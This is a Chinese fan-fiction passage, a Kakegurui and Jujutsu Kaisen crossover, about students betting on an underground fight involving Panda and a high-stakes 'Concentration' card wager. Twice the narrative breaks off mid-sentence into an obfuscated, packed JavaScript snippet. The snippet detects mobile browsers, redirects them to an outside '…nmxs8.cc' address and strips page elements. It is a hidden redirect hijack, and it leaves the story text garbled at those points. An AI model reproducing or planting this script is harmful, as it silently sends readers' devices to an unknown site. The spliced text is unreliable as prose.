他最近的转校生朋友很喜欢纯粹的赌博。 “能让你觉得特殊的孩子?”小莳对黑拳不感兴趣,话说前阵子还有人想来并盛开设,最近这方面势力也此消彼长啊。但奈亚的朋友,听起来很有趣,她也很关心造物的交友。 “她叫蛇喰梦子。” “喔,听起来就是很厉害的名字,她和学生会长是什么关系?”没记错的话那个银发学生会长是叫做……桃喰,绮罗莉? “似乎是家系的分支。不过关系很远就是了。”这么说小莳也能理解,确实有很多小众的家族起一些稀奇古怪的名字。 她和男友还有情人说明了事件之后,第二天最后一节课前就成功抵达了只来过一次的学校,在课间成功完成了和人偶的互换身份行动。 小莳对拳击还有格斗……涉及到体术相关的战斗都不敢说精通。但她清楚,只要是打拳+开盘的组合,十个有十个在打假赛,这种东西的原理不消多说智力正常的人都该明白,可花钱的人一个接一个,上赶着送。 她和造物说悄悄话吐槽:“真是愚蠢。” 却被一个声音加入聊天:“不是愚蠢哦?” 很少有人会打断她,小莳回头,看见一个黑发,温柔美丽的女孩挂着和煦的笑意:“嗯,你是?” “小莳同学不记得我了吗?昨天放学后还向你借了100万呢。”她温和地摇了摇自己胸前的……挂牌,如果没记错的话应该是家畜牌子。好一个精神稳定的美女。 “不记得了。” “那就再认识一次,我是蛇喰梦子,多多指教。”她有一双又红又大的眼睛,像兔子,很可爱。 小莳有一种感觉,眼前的人只是看上去人畜无害。 她接着自己的话往下说:“在开场前就已经定下的结局,选手按照安排呈现精妙的对决。此时我们的对手不是巧合,而是早有预期的庄家。看似是在猜二选一,实际上是对庄家预判的驳斥。多么令人心驰神往的赌局啊!满场的欢呼让气氛推到高潮,就在此揭露最后的结局--” 蛇喰梦子说到这里已经开始面部潮红,她发出一声叹息,然后喘口气,说完了最后的话:“一起承担风险,然后赌至疯狂。” 现在小莳像行家一样点点头,觉得这女同学精神不正常。 不过她说的有道理,看似是随机与偶然,实际夹杂多方博弈,无论是投机者还是自以为掌握全局者,都会自信入局,最后只有一方胜出。配合搏斗与汗水,人的情绪也充分被调动,确实是有人会喜欢的刺激娱乐活动。 讲课的国文老师停顿,然后点名:“蛇喰,不要和同学上课说话。”小莳的优等生身份让老师给了个面子。 直到下课她们都没再交谈。 黑拳赛事最近在百花王学园小范围内流行。小莳不意外,这里学生会自治都做出家畜制度了,观光一下非官方摔角也没什么值得惊奇的。蛇喰梦子也不是最开始组织这场游览的会员。 既然是地下黑拳,那就沾不少法律风险,因此会员的挑选,保密工作,还有一些暗处途径的打点……总之规矩少不了,想看还得靠人拉人的传统介绍。具有会员身份的是她曾经有过一场社团活动对局的学妹,皇伊月。她家很有钱,首屈一指玩具社团的独女,未来的继承人,学生会干事。 “交缴纳金进的学生会,喜欢作弊,上次用自家扑克牌出千,被梦子发现了。”小莳听自家造物小声解说。笑死,是和看上去的活泼短卷发完全不同的小心思。这学校学生会说不定是一群千王。 出千是个人信誉,用自家工厂里的产品出千可就是严重的事故,她欠下了巨大的人情。这个套路怎么感觉和上次的那个什么文化社一样的,一不小心就把家族给搭上去了。 “这小姑娘家里产业有多少钱啊?”她小声问。 奈亚微笑:“千亿规模。” 政经界人才和未来汇聚于私立百花王学园,她是真信了。小莳很有钱,但她也没有那么多。点点头,看另一位同行的同学。 早乙女芽亚里,金发,双马尾,看起来不喜欢奈亚。 “梦子的朋友,出千输了。因为是成绩特招入学,缴纳金不够,成了家畜。她旁边的铃井很普通,类似漫画里的旁白。让读者知道:哦,还有这种事啊。” 都是很有故事的人呢。除了那个男的。 皇伊月这边也带了一个同班同学,她也是前阵子的转校生,大约就在蛇喰梦子前后脚。 浅咖色短发的玩具制造商千金热情向众位学长学姐介绍了自己的新朋友,神秘兮兮地说今天的拳赛会很不同,理由是,因为会牵扯到一些社会上层的秘密群体。 世界上居然还有一种恶心兮兮的生物,它们被成为诅咒。大家啧啧称奇,都没说不信。 “咒术师?”好巧,去年年底趁着风口入行了。小莳望向奈亚,对方给了她一个了然的笑。 这算是惊喜吗?由咒术师开设的地下竞技场,并且,参与者也是咒术师,变得有意思起来。 “有趣吧!”皇伊月娇俏露齿一笑,对捧场做出反应的小莳和周围众人说道:“原本我是对格斗啊热血啊毫无兴趣的,文雅的棋牌类游戏更适合我,可华同学和我说了关于咒术的事情,真是好奇!所以就来啦!” 小莳决定上场后浅浅下注一把,支持同行的副业。不过这个好像是违反咒术条例的吧? “你是叫?”最近见到的金发有点多,眼前的女孩有齐刘海,她的鬓角卷啊卷。 “我叫来栖华。” 没听说过的名字,不知道是在哪里听说的咒术师,不过她也不关心就是了。低头开始给男朋友发消息,分享八卦,原来这是一场同行开设的酣畅淋漓的赌局,不知道什么时候会被查封。 等了十秒,没有消息回复。推测对方可能在任务中,小莳收起手机,继续场外吃瓜。 皇伊月提醒她:“学姐,到了场地不可以开手机哦。那里禁止拍摄,不过我是会员,交了保证金的那种,所以他们不会没收。” “好的。”小莳是全场最爱看手机的人,闻言放回校服兜里,听起了众人的聊天。中间猝不及防还被夸了一嘴,皇伊月说她指甲漂亮。 小莳不明所以,说谢谢。她准备用眼神询问一下奈亚这是什么新型黑话,没等她转头,这个学妹的金发同学就低声斥责起这种行为。 小莳在来栖华的批评和皇伊月的撒娇赔笑中,理解了。这个千金大小姐有着mafia级别的收集癖,她喜欢现拔手指甲。指甲曾经真的掉过的小莳因此勾起了不愉快的回忆,她拿出手机咔咔又给伏黑甚尔发起了消息。 皇伊月在她全神贯注敲键盘的时候问她怎么了?她说她的赌局一切都是自觉自愿,况且小莳又是梦子前辈的伙伴,自己绝不会做出失礼的事情,请千万别挂心。这只是真诚的夸赞。 小莳抬头分给她一个笑:“我以前被绑架过,拔了指甲,有点疼,给我前男友发消息追忆一下似水年华。” “前男友?”发出疑问的是铃井,他还真是个漫画里补全信息等解说的路人甲。 总不好说是情人吧,显得她很不正经。 “是的,现在男朋友换人了。”小莳揣回兜里,“指甲的赌局我就不参加了,今天的每人额度是多少钱?” VIP会员坐VIP场地,最低的下注也是100万,而皇伊月给每人准备了1000万,她微笑:“不收利息,各位前辈们请尽情使用吧?” 怪怪,真有钱,小莳现在是觉得自己有点小家子气了,居然要一下子花掉6万欧,普通意大利人一年的年薪就这么多,她干一天也不一定能赚到这个数。 哎,体力活果然是底层人干的。奈奈说的对,还是坐办公室最好。 “泽田,你的男友不是江口吗?” “emm,不是啊。他在外校上学。”不要乱给人配对,小莳看向铃井,轻描淡写把话题转走:“铃井同学喜欢什么类型的女孩子呢?” 对方直接像是发条机器遇到了故障,开始卡壳。 小莳不认识他,对他的bug也没兴趣,多半是喜欢蛇喰梦子。她唇边勾着笑翘起腿,开始听周围的人说今下午会出场的选手,据说不是人。 哇哦,好刺激。 解说激情昂扬地带动了一波氛围后,选手上场,小莳开的一瓶矿泉水洒到了身上。 熊猫怎么会在这啊!怎么说,他可是校长的好大儿。 她的反应并不是最严重的,感谢铃井,他站起来大讲了一通震惊,不可能,之类捧场的话。在下注时间内,小莳选了个最低额度给熊猫。 皇伊月蛊惑一样劝着她多下点玩玩,不用担心不够。可小莳分明知道对方眼神看着自己光洁又长着小月牙的健康本甲。小莳手握成拳放在腿上:“不用,我单纯对赌博兴趣不大,只有在【特定】的时候才会感兴趣。” 这次问问题的是蛇喰梦子:“嗷,那什么时候才算是小莳同学的特定时刻呢?” 小莳摊手:“直觉,我是直觉系选手。” “听说你在以前的社团活动中赢过了西洞院前辈,也是靠的直觉吗?” 摊开的手又竖起来,摆了摆:“好汉不提当年勇。都过去了。”一个亿也拿了,推荐名额也拿了,收手。总感觉在这个腐朽的学校里,说不定也有人想搞推翻,她可不掺和。 “呀~真是难得,今天的小莳同学说了好多话,以往你都是沉默的,简直像个任人摆弄的人,偶,呢!” 小莳这下回头看自顾自地又嗨起来地蛇喰梦子,她还挺……容易激动,貌似在发现小秘密的时候会像个孩子一样高兴。她耸肩:“是的,我以前有抑郁症。” “……” “现在发现诊断错误,其实是双相,今天恰逢亢奋期,所以出来玩了。医生说我有重度抑郁,你们让让我。” “……”蛇喰梦子将学妹准备的筹码的一半都下注,她投给了另一个人类选手。 又是个小莳没见过的人。 投注期间铃井还询问了她为何如此自信,她是第一个下注的,小莳回答:“相信功夫熊猫。”这下不仅是同行,得支持一下同学。 表面是可爱毛茸茸的咒骸,私下里跑到学校几公里外打黑赛,高二还真是精彩纷呈。 “……这也不是动画里的那种吧!”铃井没能理解世界上多出一种新职业的事情,他觉得这只是有人在玩偶里,行动不便,是个噱头。就像美国摔角里引人注意的装饰和胡编乱造但引人共情地背景。 但他没下注。 小莳懂了,哦,贫困生。 早乙女芽亚里撅着嘴和蛇喰梦子选了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413164|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样的一边。 到最后,没有下注的只有铃井凉太和来栖华。他多半是因为囊中羞涩,而她……来栖华说,她觉得仅供消遣的赌局是不正义的事情,所以她本人不想加入。 小莳于是发问:“那你来这里是?” 来栖华想多了解一些咒术相关的事情,她只对这位自称有心理疾病的学姐笑了一下,并不打算告知。 下注的五人中,大部分人都赢钱了,但小莳没有。她看不出什么格斗的门道,但清楚熊猫没在尽心打,她从楼上朝可可爱爱但也有了不少心思的胖达扔了半瓶水--她刚没喝完的半瓶,被他利爪割破,熊猫回头。 正好看见在看台上脚踩钢筋对他招手的小莳。 看台上不许跳人,小莳只向他问了个好,就转身和同学们一起离开。 不确定性令蛇喰梦子着迷,在被同学们问到为何选择另一人下注时,她模仿着小莳的话,侧头,脸也对着她:“直觉。” 真是调皮,小莳无奈:“因为对方是熊猫嘛。”没钱就没钱了,一场失败并不让她挂心。 铃井被数次无视后依旧出来说,口气相当确信:“肯定是人在玩偶里。” “是你懂熊猫还是我懂熊猫啊!”但他的身后传来这样的声音。 “我没去过中国,日本的也没排到,但科学道理就是--欸?”这声音有点耳熟,搭在肩上地触感也……铃井凉太缓缓回头,被凑近的熊猫脸吓一跳。 他也是现场唯一叫出声的,声音在空旷走道里回响:“啊啊啊!” 小莳发现熊猫居然跟上来了,莫非是有话要说?她向黑眼圈可爱生物发出一个疑惑的眼神,对方也回了她一个疑惑的眼神。 “那个--白头发的女孩,你跟我过来一下。就是你刚才用半瓶水砸我头,禁止攻击选手的,知道吗?”驼背的熊猫伸出爪子,指她。 本次课外活动的组织者彰显了适当的担当,皇伊月站到小莳前面:“抱歉,熊猫选手。这是我的前辈,初次到访贵地,不清楚规则。以后我们会遵守的。” “……”熊猫对小莳挤眼睛。 嗯……小莳摸了摸自己的太阳穴,随口说:“其实我很喜欢毛茸茸的小动物,你们提供一对一拍照服务吗?” “唉,额,这个,下不为例。” “那各位,我和选手拍个照,你们先走吧。”小莳走出人群两步,又对垫付资金的学妹表示了感谢:“今天的团建很有意思,谢谢你带我一起来,我的钱由奈亚出了。下次再见,皇同学。” 她向众人道别,转身跟熊猫宽厚的背影往回走。 人群中最会说话的蛇喰梦子恍然感慨,开口就揭暗恋者的短:“那好像是真的熊猫。” “……”铃井转头扶墙。 “而且,难道只有我一个人觉得,小莳同学,好像认识他?奈亚同学?” 忠心的造物回答没有一丝犹豫,他说:“我不知道。” 其实是只有蛇喰梦子会坏心眼的看破又说破。众人沉默,过了一会又聊到其他的话题上去。 熊猫出现在这里的理由和小莳想的勤工俭学或者叛逆期不一样,原因根本在于高专三年级的停学生,秤金次和星绮罗罗。 “他们在前年的百鬼夜行顶撞高层,停课了”他说着,挠头,“正道和悟其实是愿意让他回来。秤,很强。以前在高专也热心肠。只不过现在见不到人。” 原来真正的叛逆期在这里。 “你们没有他手机号?” “……要是能说上话也不至于这样。再这样下去别说复学,可能会引起冲突。严重违反条例了。” 小莳托着下巴想了一会,然后问:“了解完情况我是不是就能走了?惠今晚约我出去吃饭。” 熊猫一个栽倒:“……你不帮忙想想办法吗?!” “不认识,感觉搞赌博都不是很正经,我前男友就爱赌。PTSD了。”今天是心理学疾病收集大师,小莳决定让自己染上新的病症,“今天压了你100,打水漂了,焦虑犯了。你打一把能赚多少?嗯?说话说话。” 白毛黑毛的熊猫紧张到掉毛,这个100的单位,不会是……他选择沉默。 “是万哦~” “小莳,买定离手。” “所以说赌博害人呐。”兜兜转转她又把话推回去,“不过仅仅是见你的同学一面的话,我可以尝试带你上去。刚刚进来的时候我就想说,这里的监控摄像头太多了,大概全体人员的一举一动都会在放映室原原本本显现出来,所以才不好接近?不过没关系。” “因为我是杰出的术士嘛。”小莳不介意帮可爱的熊猫一个小忙,“我送你到门口?这个大楼一共也只有六层,如果是我选这里落脚,一定会到最高层,所以我们从消防通道上去就可以。要去吗,熊猫?” 他擦了擦汗说去。之前只能见到星绮罗罗,而他的术式似乎有一种奇特的斥力,所以…… “那我们走吧,你可以想想过会要说什么。”小莳爬上熊猫的背,“楼道里也有小混混巡逻,直接在你背上节约占地,也更方便施展。” 熊猫反身走了两步,然后停下来:“你其实不爱走路,对吧,小莳。” “别说话,背着我。效率为先。”她拍在毛茸茸的宽厚肩膀上,“你身上有股太阳的味道,你喜欢晒太阳吗?” “说来有一件趣事,在你来这里之前,就是惠他--”熊猫低沉平稳的声音没有传到周围任何巡逻人员的耳中,好像他和背上的小莳都不存在。 “太阳公公?笑死。”绝对是五条悟教的。 熊猫顺利地背小莳经过长长的走廊和一个空旷的场地,顺畅地进入消防通道。一路上没有阻碍,只有最后一层的门口,站着点了一根烟的星绮罗罗。 小莳看见这个雌雄莫辨的貌美水母头:“这是男性吗?” “是,而且他和秤是一对。” “呜呼,原来如此。”很有审美,水母头好文明,小莳搂着熊猫粗壮的脖子指点江山:“如果不开门的话就过不去,我承认我有赌的成分,你开吧。” “……他就在门边上。” 她宽慰:“中间还有个垃圾桶隔着。不要紧,最坏也就是我们被赶出去。” 这个说辞一点也不让人放心,但熊猫照做了。他清楚听见厚重的通道门发出年久失修的咯吱声,急忙回头,却发现分明就站在一米以内的星绮罗罗无知无觉地仰头吐出一口烟雾。 这就是幻术吗?真可怕。“你还说你不喜欢赌。” 小莳这样为自己辩解:“把握很大,我可是专业人士。纯粹的赌博太靠运气。有实力加成不一样,就像合法合规地出千。” 这么一想好像没毛病,熊猫挠了挠耳朵:“好吧。” 这层没有守卫,监控也没有,拐了个弯,小莳被放下来。他问:“你走安全通道下去?” “太累了,跳下去。”顶楼不封窗,正好方便了小莳。 “也对,也是一种方法。”他们就在此别过。 现在是五点,和男友约定的时间是五分钟前。小莳打开手机,看见了他先前传来的消息。 伏黑惠:你说的可能是秤学长。 他没见过那位学长,对方在入学前就无限期停课,现在也只是听说二年级的前辈在想办法让他回来。 最重要的是,他在十几分钟前就到达了约定地点。 小莳走过一条街区,逐渐有了商铺和人流,她对着橱窗整理了下鬓发和服装。光亮的玻璃映照出她干净的脸庞,不错,美女。 她转身继续往前走,语音消息和男友说明一下情况,对方表示理解。在小莳抵达的时候,却又和刚才分别的同学们撞见,除了蛇喰梦子的小跟班铃井。 这个红眼睛的漂亮同学在和伏黑惠搭话,随后她顺着对方的视线转头又看到了不急不缓走来的小莳。 “晚上好,小莳同学!没想到你的男朋友就在周边的一所宗教学校就读,啊真是有趣呢。没想到除了我们学校,这附近还有小众学校。”蛇喰梦子看起来……容光焕发。 她也知道私立百花王是个小众爱好聚集地,那就是疯而自知了,原来奈亚是这种type。总感觉自己的黑手党身份都暗淡了不少,东京还真卧虎藏龙。 小莳应和:“是啊是啊,太小众了。筵山那个地方离开发还有好几十年,正适合寺社佛阁,清心寡欲。” “小莳你……比奈亚同学说得还有趣许多。我们做朋友吧!”梦子转身拉住小莳的手。 “早乙女同学要吃醋了哦?”她看出来了,蛇喰梦子,女同。小莳抽开了手,“时间也不早,我和小惠吃饭去了。” 早乙女芽亚里:“……” 两人走开几步以后,她才很轻松地和男友炫耀:“我最近还真是桃花朵朵开,蛇喰很明显地对我一见钟情了。” “她有点像……津美纪。” 小莳眼睛瞪得像铜铃:“真假?你姐姐应该正常的多才对。我这帮同学都有点疯,比较正常的就是来栖华和不在的铃井。”但考虑到他们人都在私立百花王了,不正常是早晚的事。 “我是说声音。”伏黑惠看起来还有点紧张。 “这么说来……”小莳想起了一些故人,她煞有介事地给男友说:“征十郎的声音和齐木同学也一模一样。可能世界是一个巨大的配音厂。” 她点头:“说不定你姐也会爱上我,我最近是不是应该看下恋爱运势了?” “……” “津美纪也不出意料地姓伏黑对吧?” “这不好玩,小莳。”男友听起来气鼓鼓。 “啊对不起对不起,别生气嘛!”她拽对方的胳膊,踮起脚尖在他侧脸上亲了一下,“今晚我请客。” “赢钱了?” “输了100万,你熊猫前辈打假赛。” “你的学校……确实不太正常。”据他所知,赌马券一张只要100。 “是啊,政经界也有自己的高层。”世界是一个巨大的魔窟。 伏黑惠拉紧她的手,十指相扣:“不过……我以后会赚钱的,我想给你花钱。多少钱都会给你。” 这孩子比他爸有觉悟。小莳在感动中询问他本月的收入,美好承诺的氛围被现实的数字像敲玻璃一样敲碎。 过了一会她问:“是不是伤到你自尊心了?” “……没有。”但他也不肯再说话了,手却一直没松开。 蛇喰梦子对着情侣亲密无间的背影歪头,“真是让人羡慕的关系,你说对吧,早已女同学?” “有个事我早就想问了--你叫她小莳,叫江口为奈亚同学,为什么偏偏我就只呼唤姓氏啊!” “那,”蛇喰梦子踮着脚尖转了九十度,面对双马尾都炸开的同学试探性问道:“芽亚里同学?” “……”回应她的只有涨红的脸。 在几人旁边不远,皇伊月高高兴兴清点今天的收入,哼着快活的小曲。不愧是蛇喰学姐,跟着她买总是能赚点小钱,她想建议下次华与她一起跟投,毕竟对方也只是个特招入学的普通家境生源,一直不参与赌局还好--但若是一朝失误,就只有万劫不复。她还挺喜欢这个朋友,学习好,不介意她抄答案,总是干干净净一尘不染,又不严肃刻板。 却见来栖华低着头,一声不吭。 她靠近,只听见穿过她弯曲的鬓角,低低的抽噎,和看见她被指甲划出红印的,血色充沛的指尖。 97. 第 97 章 来栖华的人生改变于她的八岁,她自幼不是会被长辈称赞【有个性】的孩子,某种程度上算是上帝给她帮的大忙。 她被咒灵妈妈掳走,渴了就找水喝,饿了就翻垃圾,生病了就看运气,奇迹般在螺丝钉混着腐臭味罐头里存活。与她一起的、新加入的孩子有不少,最后擅长哭闹的孩子都消失了,隐隐约约能感觉到他们的去向。那大概不是什么好地方。 她后来读了一本书叫做鬼妈妈。嗯,真的很恐怖。 总之,有一条有着白色蓬松尾巴的大狗带着她离开了山里,她和真的爸爸妈妈再度团圆,那个和她差不多大的男孩,他有白色的大狗,毛茸茸的,很……温暖。 来栖华一度坚信,有名为命运的织线在世界的绣布上暗中定好了一切,所以他们会再度相见,而她会能够成为有资格站在他身边的人。现在看来,还真是一厢情愿。 来栖华在那之后就能看见咒灵,妈妈和爸爸的担心与亏欠让她在家庭中得到了无微不至的呵护,而她也不令父母失望,全额奖学金特招转入名流汇聚的学府。学园里诸多恶行不能伤她,胜利至上作弊也无妨的宣言不能伤她,不过最近她很苦恼。 或者说,她觉得心碎。喜欢了小半辈子的命定之人有女朋友了,他也不认识她,多半也不记得自己救助过她。眼中的世界在重组,以一个不可控制不可停歇的方式,而她的精神也要融化在其中了,就像可可粉掉进牛奶漩涡。 这牛奶温度不低。 “太烫了。”皇伊月和她抱怨,她低低嗯了一声。 “我们应该让他们重做。我可是学生会干事!”英式茶杯被心情不悦的同学重重碰在碟上,摇晃的可可奶溅出一小片。 来栖华说算了,她现在开始觉得舌头有些麻,刚才没什么感觉,现在才有被烫到的刺痛。 她想,她在之前生出了幻想,而延续的不被戳破的梦致使事情变得有些失控。 “蛇喰前辈!这里这里!” 在她分神迷失的时间里,旁边和对面又都坐了人。 “泽田前辈,你做了美甲?!”同学的惊呼让来栖华想起自己这是在学校食堂。 她旁边的学姐,向她背后伸出左手,展示给另一边的同学看:“是啊,托你的福,我发现自己有很好的指甲。然后我就在想,为什么不装饰一下呢?于是--” 泽田小莳看起来心情不错,她伸出左手也给坐在中间的来栖华看。她的无名指上是一只兔子,食指是蝴蝶结,是复杂款式的可爱美甲,衬得手指白皙又细长。但和骷髅头的戒指风格不搭。 “真是美好,如果您缺钱的话请务必第一时间联系我,我永远给您提供无利息的贷款服务。”喜欢赌博的人精神或多或少有点问题,这来栖华一直清楚,所以她根本不碰这些被美化成怡情消遣的活动。皇伊月的高傲和只对蛇喰梦子一人独有的尊敬在此处已经尽数体现了。她只当泽田小莳是指甲供应商。 来栖华忍下心里过多的遐想,准备出言阻止这个脑袋里在转坏心思的同学,被忽悠的学姐本人就已经先拒绝:“不用了,我最近挺有钱的。” 被来栖华挂心了不少日子的学姐看起来并不觉得被冒犯,而是,她有些不确定,但对方看上去饶有兴致,神色还有些惊异。 “泽田前辈是特招入学,应该和蛇喰前辈背景相当吧?” 刚才的兴致勃勃好似只是假象,现在前辈看起来老实又不擅长绕圈子:“不知道蛇喰是怎样的。” “我父母去世了,还有个卧病在床的姐姐。”蛇喰梦子笑眯眯加入,看表情一点不伤心。 “wooo,那你这个很像我男朋友。不过他姐姐最近奇迹般地好起来了,他父亲也……算了这个不提也罢。”来栖华注意到泽田小莳先是回应了蛇喰梦子,再是和她的同学说话:“要说我家也就只有一个在非洲挖石油不回家的父亲,和在意大利做买卖的兄长,但好就好在我初中的时候做了点兼职,现在西洞院前辈给的零花钱还没花光。” 来栖华记起来了,皇伊月和她说过,泽田小莳曾经在西洞院百合子的【生与死】中,赢下了一个亿。皇伊月说这只是新手的好运,beginner’sluck,因为她尊敬的前辈……蛇喰梦子正是因为西洞院百合子而欠下了三亿负债,成了家畜。 而蛇喰梦子,又狠狠地赢了她,皇伊月。所以皇伊月多少有些看不惯被蛇喰梦子过分重视的泽田小莳。 混乱的关系。 话题又来到了一个亿怎么能花这么久,来栖华有一瞬恍惚,百花王学园有自己的货币,好像社会上赚钱很容易一样。她父母一个月加起来才有100余万,而这已是不错的薪水。 “是黄金,我买了黄金。” “金价最近也没变动很多?” 泽田小莳桃红的面色中显示出一些喜悦,令人迷惑。至少来栖华不知道她怎么突然就兴高采烈起来:“可是买了黄金就不会再随便花出去了嘛,这是一种理财行为。” 皇伊月又问:“泽田前辈你的记忆力怎么样?” 对方回答:“还行。” “那你玩过神经衰弱吗?” “没有,那是什么。” 在一轮试探过后,皇伊月向回答地平平无奇的泽田小莳伸出了试探性地一问,来栖华注意到她的目光其实看向的是蛇喰梦子,而这个和煦笑容的黑发学姐眉眼弯弯--默许了。 可贵的友情只有在被重视的时候才能估价,其余的时候就像现在一般脆弱。 皇伊月的双重神经衰弱要用到两副牌,她在用一种方式作弊。来栖华知道,但分析不出她的出千方法,她的特长不在于歪门邪道。蛇喰梦子……看上去如此热忱地对待泽田,也是一种试探吗?来栖华想帮助别人,想做个光明磊落的好人,她拉住了皇伊月的手。 有人自甘堕落,抱着侥幸落网也是咎由自取,但拽不相干的人坑蒙拐骗就不合适了。来栖华对自己逐渐升温的同学摇了摇头,这是一种婉转的警醒。 双重神经衰弱是一种卡牌的翻翻乐游戏,要在两副牌中翻出花色、数字都同样的54对牌,由一方起手,直到翻错牌让另一方接着,到所有的牌全部配对后,统计双方翻出的对数,多者获胜。 蛇喰梦子曾经0封过来栖华的这位同学,也没要她的指甲。 来栖华说:“伊月,适可而止一点。”如果泽田小莳中了套,然后欠下了很多钱或者没了指甲,她觉得自己的良心会过意不去,因为那就代表她放任了心中的魔鬼。 嗯,算了,她因为被拯救而爱上了伏黑惠,但也不至于因为爱让自己变得面目可憎到不认识的程度。那样的爱和鬼妈妈的强制爱一样恐怖。 毕竟她和泽田小莳……或许,甚至无法成为情敌。当然,也不是说做情敌就能用阴谋诡计,总之……做个好人,至少也对得起自己,还有让爱她的妈妈和爸爸骄傲。 说到底来私立百花王学园不就是为了上个好大学,找个好工作,然后在社会上立足吗?来栖华觉得做律师挺好的,帮助别人,还能在法庭里侃侃而谈,还体面。 她的无法成为情敌前辈用一种发现新大陆的眼神看她,好像在说“你真是个好人哎!”,然后转头答应了皇伊月的游戏请求。 来栖华:“……” “我们赌什么呢?” 皇伊月提出筹码,泽田小莳用手指甲,自己用2000万。 “你不用手指甲是有什么心事吗?不如我们都押2000万吧。”泽田小莳现在又表现得像个思想正常的普通人,来栖华不明白她为何答应。 皇伊月露出了贪婪赤裸的欲望:“可我不缺钱,我只想要你的指甲,还有--我想你输给我,泽田前辈。” “说得好,我也不缺,既然如此。我们定一个亿吧!正巧我没有一个亿,所以如果我输了,就给你8000万和我的十指指甲,怎么样?新鲜的美甲,价值8000日元,因为是团购所以打折。”泽田小莳站起身,餐盘上的热茶被掀倒,坐在对面的江口奈亚扶起杯子,并熟练地用手巾擦拭桌面。 “当然,我不建议你挑战我,因为我一定会赢。你看上去也没有一个亿,我对人体收集不感兴趣,也没有看可爱学妹痛哭哀嚎的爱好。” 来栖华就是在这个时候开始认识到,她这个学姐,伏黑惠的女友,是个不输于谁的野心家。如果伊月接下这句话,身份就在言语的把戏中变成了挑战者,而且看起来更被动。在双唇张合之间,已被数落一番。 一个亿不是个小数目,在这所学园里也不是。 来栖华知道同学的父母最近给钱不太多,她手上没那么多本金。但她答应了,而且她有点生气。 “情绪化可不好,但没关系,我接受分期付款,而且不收利息。就像你之前对我一样。嘻嘻。” “……” 距离下午的第一节课还有一小时,他们在餐厅二楼聚集,玩一场价值上亿的游戏。来栖华被指名洗牌。 跃跃欲试的蛇喰梦子蹙起眉,“为什么不选我,泽田同学。” “在场的所有人里,除了铃井,就只有来栖不会出千了吧。虽然谁洗牌对我的影响都不大,但我就想选她。” 这份信任价值一个亿,来栖华没见过这么多钱。此刻她有些紧张。 “好过分,我和奈亚同学在你心目中都是会作弊的人吗?”蛇喰梦子没说皇伊月的名字。 而泽田小莳回她:“放心,我也会。” “……” “……” 皇伊月从包里拿出两幅全新的扑克牌:“学姐真是大言不惭。” “前两天的债务整理大会,我有幸去现场观光。很喜欢五十岚清华同学说的一句话【在追求胜利的比赛中,败者即为恶】,首先可以肯定我是个好人。” 来栖华看见同学的手微微颤抖,并非恐惧,是愤怒。也对,泽田小莳到目前为止…没有展现出任何赌博方面的才能。来栖华的手磕磕碰碰,她不会洗牌,只能用简单朴素的方式倒它。 来栖华绕着台球桌转了一圈,将两副牌背过来码在桌上。伊月低头看牌,好像能从上面看出花。蛇喰梦子也看牌,也有几次撩起长发往边上看泽田,被她看着的泽田小莳本人倚栏杆望楼下,心思根本不在牌桌。 二楼有监控摄像头,底下的学生排成排通过大屏幕观战,时不时还有新人加入看热闹的行列。 发牌的手心微微冒汗,好像接下来要参与的人是她和伊月,泽田才是那个旁观者。她听见蛇喰梦子问江口:“小莳同学到底有什么才能?你可以代为揭晓吗?”黑发绿眼的学长轻笑:“如果她愿意告诉你的话,就会说的。” 这不就是废话文学嘛,来栖华想,她也会。 放下最后一张牌,来栖华站在了台球桌靠近监控的一边,在角落里准备看一场智慧的博弈。泽田被喊到台球桌旁的时候还心不在焉打了个哈欠,困不困不清楚,但她的不在意已经传达给了在场的所有人。 “泽田前辈,你先请。” 来栖华是有几分了解相处了两个月的同班同学的,她骄傲不失聪明,人……有一点坏,但也重感情,人性的复杂在她身上得以体现。迄今为止只在蛇喰梦子那里输过,跌的一个跟头让她更加谨慎,所以昨天的拳赛,今日的聊天,双重保险下她才对心心念念的一双手起了染指的念头。 泽田小莳哪里都长得好看,但伊月的xp恰好全在指甲上。 所以,她到底会怎么办? 被瞩目的一双纤手在众目睽睽下活动了一番手指。 然后她舍近求远,翻开了左上角的第一张牌,是黑桃A。 没有着急掀开第二张牌,泽田小莳在众人的目光焦点下,以轻松愉快的口吻开始聊天:“日本的书很多从右向左翻,我不太习惯。我最偏好的顺序是从左往右。” 她翻开了在那旁边的另一张牌--就在第一张的右边一张,还是黑桃A。 来栖华到目前为止没看出什么东西,但皇伊月……她看上去惊讶极了。来栖华站得近,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413165|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了她嘴里说着“不可能。” 不过站得不那么近的也听见了,泽田小莳差异地朝她抬眼,然后了然地“哦”了一声,她说:“我好像和你撞号了,但问题不大。因为……哑巴是不能说话的。” 她翻开了第三张牌,那是再右边的一张。草花A。 两副牌中的三张A恰好在一张牌桌上被放在左上角的概率是多少?反正不高,来栖华知道自己洗牌很差劲,因为她只在小时候玩过小猫钓鱼,但不至于这样。 更何况,她是从牌桌右下角开始发牌的。 第四张,草花A,在第三张的右边。不用说二楼目前零散的几个人,一楼已经开始发出吸气声。 神经大条的人也能看出端倪。 “魔术是视觉的把戏,我喜欢魔术,希望你也喜欢。当然不喜欢也随你。”第五张,红心A。它就在第四张的右边。 